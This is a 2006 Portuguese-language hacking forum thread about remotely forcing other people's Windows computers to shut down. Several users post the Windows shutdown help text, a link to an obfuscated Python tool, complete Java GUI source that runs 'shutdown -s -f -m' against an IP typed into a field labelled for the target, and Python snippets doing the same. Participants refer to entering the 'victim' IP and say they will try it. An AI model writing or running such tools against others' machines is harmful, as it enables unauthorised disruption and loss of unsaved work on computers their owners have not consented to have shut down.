Remote Shutdown

Started by Anonymous, 21 de February , 2006, 11:44:21 AM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Anonymous

EDITADO

Anonymous

So eu saber o ip da pessoa e clicar em atack e BINGO?

Anonymous

Podemos fazer isso pelo shutdown sem precisar de programa!
Uso: shutdown [-l | -s | -r | -a] [-f] [-m \\computername] [-t xx] [-c "comment"
] [-d up:xx:yy]

        Sem args                        Exibir esta mensagem (o mesmo que -?)
        -l                      Exibir interface GUI; deve ser a primeira opção
        -s                      Desligar o computador
        -r                      Desligar e reiniciar o computador
        -a                      Anular desligamento do sistema
        -m \\computername       Computador remoto a ser desligado/reiniciado/anu
lado
        -t xx                   Definir tempo limite para desligamento como xx s
egundos
        -c "comment"            Comentário sobre desligamento (máximo de 127
                                caracteres)
        -f                      Força o encerramento da execução de aplicativos
sem
                          avisar
        -d [p]:xx:yy         Código de razão para o desligamento
                                u é o código de usuário
                                p é um código de desligamento planejado
                                xx é o código de razão principal (número inteiro

                          positivo menor que 256)
                                yy é o código de razão secundário (número inteir
o
                          positivo menor que 65536)

Anonymous

fala galera ,
 gostaria de saber uma coisa... se isso realmente funciona.... quais as falhas pra funfar?
e esse pelo shutdown do dos? como configurar alguem realmente ja usou...

thanks

Kratos

#4
Gostei do Topico e hoje de manhã, juntamente com o Wutang, codei um em Python:



Donwload :  http://rapidshare.de/files/14624346/5hutD0w-Tk.pyo.html

Por favor, Bugs, criticas, elogios.... postem ai!!!

Obs: Apesar de Python ser uma linguagem free, vcs não poderão ver o codigo!!!!

POstem ai!!!
::: "A vida é bela pra quem sabe curtir" :::





Anonymous

cara , nem precisa ver o codigo , quem nao sabe faze um programa desses hein ?


afffffffff , vc fala como se fosse um GRANDE programa comercial

Kratos

hehehe.... Grande programa comercial não!!!

Mas é assim.. pra quem programa em Python é uma manera de Ofuscar o Source!!!
Tipo como usar o programa shutdown do Ruindows sei que é faci.. todos sabem!!!

Kra, vc ja vem tacando pedra só por um programinha barato e que eu fiz apenas para testar o uso de Interface em Python... rsrsrsr

Já que vc é o "mestre dos scripts"... e manja dizer como um prog assim funfa.. posta ai um tuto!!!! hehehehe


Serio kra.. seu post ja ta valendo como a 1° critica!!!!

!!!
::: "A vida é bela pra quem sabe curtir" :::





J.spY

Quote from: "omx99"cara , nem precisa ver o codigo , quem nao sabe faze um programa desses hein ?


afffffffff , vc fala como se fosse um GRANDE programa comercial

Kratos,

Num liga não... Como o Cloudy disse em algum tópico no qual não me lembro mais, tem sempre um para criticar...

Já que ele é o cara no python, faz um tutorial ai pra gente, pq eu sim sou humilde ao ponto de dizer q nao manjo nada e não taco pedras no trabalho dos outros...

Vlw

"...É melhor ficar calado deixando que todos pensem que você é um idiota, do que abrir a boca e não deixar a menor dúvida®..."

Anonymous

o brow , eu nao to tacando pedra , mas sim dizendo a verdade , ta bom ? fazer isso e muito facil , o cara esconde o codigo como se isso fosse muito importante , olha so , se alguem tiver duvida tai o meu codigo pra faze a mesma coisa

so q em JAVA !!!!!!!!!!!!!!!!!!! eu nao brinco com as cobras ....


import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import java.util.*;

/******************************************************************************/

public class shut extends JFrame
                  implements ActionListener {

private JPanel p1;
private JButton inic;
private JTextField tf1,tf2,tf3;

/** construtor */

public shut(){

setTitle("ShutDown Remoto");
setResizable(false);
getContentPane().setBackground(SystemColor.control);
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

tf1 = new JTextField("",15);

tf2 = new JTextField("",5);

tf3 = new JTextField("Maximo 127 caracteres",20);

inic = new JButton("Enviar");
inic.addActionListener(this);

p1 = new JPanel();
p1.setLayout(new FlowLayout(FlowLayout.LEFT));
p1.setBorder(BorderFactory.createTitledBorder("Opções"));
p1.add(new JLabel("IP:"));
p1.add(tf1);
p1.add(new JLabel("Tempo:"));
p1.add(tf2);
p1.add(new JLabel("Texto:"));
p1.add(tf3);
p1.add(inic);

getContentPane().add(p1,"South");

try{

UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
 SwingUtilities.updateComponentTreeUI(this);

}catch(Exception look){}

pack();
setVisible(true);

}//end of constructor

/** Metodos *******************************************************************/

public void desligar(String ax){

try{

Runtime.getRuntime().exec(ax);

}catch(Exception a){}

}//end of desligar


/** Interfaces ****************************************************************/

public void actionPerformed(ActionEvent e){

StringBuffer sb = new StringBuffer();

sb.append("shutdown");
sb.append(" -s -f");
sb.append(" -m ");
sb.append("\\\\");
sb.append(tf1.getText());
sb.append(" -t ");
sb.append(tf2.getText());
sb.append(" -c ");
sb.append("\"");
sb.append(tf3.getText());
sb.append("\"");

desligar(sb.toString());

}//end of actionPerformed

/** Main **********************************************************************/

public static void main(String args[]){ new shut(); }//end of main

}//end of class shut

Anonymous

Muito bom o tópico,e vamo para com essas frescura "ai eu q codei,não quero q ninguém saiba como"ahaha(ilustrativo)e etc.Parabens pro kratos e darkxlx.



vo la testa muahahahahhaha

Anonymous

Bem, na minha opinião a informação tem que ser livre.

Tudo bem se a pessoa não quer que saiam copiando seus códigos, mas por outro lado acho que ela deveria pelo menos postar falando como o programa funciona. Dizendo que ele só roda um comando que desliga PCs da mesma rede e sem firewall ativo, etc.

Amilly... :-*

wolf

como fazer ?

no hostname vc coloca?


no ip coloca o ip da vitima


depois clice em iniciar ?

Kratos

#12
Tudo bem ....

Acho que errei em esconder o script... (na verdade é porque eu queria mostrar que apesar de ser livre . tem como ofuscar.. as td bem)

Esse aqui é o basico do programinha (O omx99 tem razão em relação a ser muito facil), a sintax básica é assim :

from Tkinter import *
import os

class Myapp(Frame):
 ....... (Contrua aqui toda GUI e seus respectivos Campos de entrada e saida, ou seja, um botão que executa o comando shut)....


def shut(self, event):
cmd = 'shutdown -s  -f -m\\\\ %s' %(self.entry1.get())
os.system(cmd)


Ou seja, ele vai executar no seu terminal (Win32) o comando 'shutdown -s  -f -m\\\\ ip' (onde o IP ele pega do Campo de entrada do Frame que vc criou!!!)!


Quanto ao Campo Hostname Wolf... quando vc coloca um site ou hostname... ele checa e retorna o IP!!!


Exemplo Simples::::

# Botao shutdown - By Kratos

from Tkinter import *
import os

def shutdown():
                ex = 'shutdown -s'
os.system(ex)
       

root=Tk()
Button(root, text="Shutdown", width=12, command=lambda: shutdown()).grid(column=1,row=0)
Button(root, text="Sair", width=12, command=root.destroy).grid(column=2,row=0)


mainloop()


Certo...?!?!?!?
::: "A vida é bela pra quem sabe curtir" :::